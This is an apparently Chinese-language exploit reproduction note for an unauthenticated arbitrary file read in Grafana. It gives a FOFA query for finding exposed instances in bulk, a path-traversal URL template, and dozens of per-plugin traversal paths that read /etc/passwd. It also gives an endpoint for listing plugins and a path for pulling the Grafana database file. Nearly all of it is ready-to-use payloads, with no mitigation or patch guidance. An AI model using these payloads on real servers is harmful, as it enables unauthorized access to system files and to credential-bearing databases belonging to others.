Grafana 未授权任意文件读取漏洞复现

1.fofa 批量搜索

app="Grafana"

漏洞URL:

{{BaseURL}}/public/plugins/{{plugin-id}}/../../../../../../../../../../../../../../../../../../../etc/passwd

2.获取远程目标linux系统的/etc/passwd密码信息

/public/plugins/alertGroups/../../../../../../../../etc/passwd/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

3.常用的插件列表

http://x.x.x.x:3000/api/plugins?embedded=0

alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin

4.远程读取数据库信息

/public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db

4.Fuzz Success

/public/plugins/alertGroups/../../../../../../../../etc/passwd /public/plugins/alertlist/../../../../../../../../etc/passwd /public/plugins/annolist/../../../../../../../../etc/passwd /public/plugins/barchart/../../../../../../../../etc/passwd /public/plugins/bargauge/../../../../../../../../etc/passwd /public/plugins/canvas/../../../../../../../../etc/passwd /public/plugins/dashlist/../../../../../../../../etc/passwd /public/plugins/debug/../../../../../../../../etc/passwd /public/plugins/gauge/../../../../../../../../etc/passwd /public/plugins/geomap/../../../../../../../../etc/passwd /public/plugins/gettingstarted/../../../../../../../../etc/passwd /public/plugins/graph/../../../../../../../../etc/passwd /public/plugins/heatmap/../../../../../../../../etc/passwd /public/plugins/histogram/../../../../../../../../etc/passwd /public/plugins/live/../../../../../../../../etc/passwd /public/plugins/logs/../../../../../../../../etc/passwd /public/plugins/news/../../../../../../../../etc/passwd /public/plugins/nodeGraph/../../../../../../../../etc/passwd /public/plugins/piechart/../../../../../../../../etc/passwd /public/plugins/pluginlist/../../../../../../../../etc/passwd /public/plugins/stat/../../../../../../../../etc/passwd /public/plugins/state-timeline/../../../../../../../../etc/passwd /public/plugins/status-history/../../../../../../../../etc/passwd /public/plugins/table/../../../../../../../../etc/passwd /public/plugins/table-old/../../../../../../../../etc/passwd /public/plugins/text/../../../../../../../../etc/passwd /public/plugins/timeseries/../../../../../../../../etc/passwd /public/plugins/welcome/../../../../../../../../etc/passwd /public/plugins/xychart/../../../../../../../../etc/passwd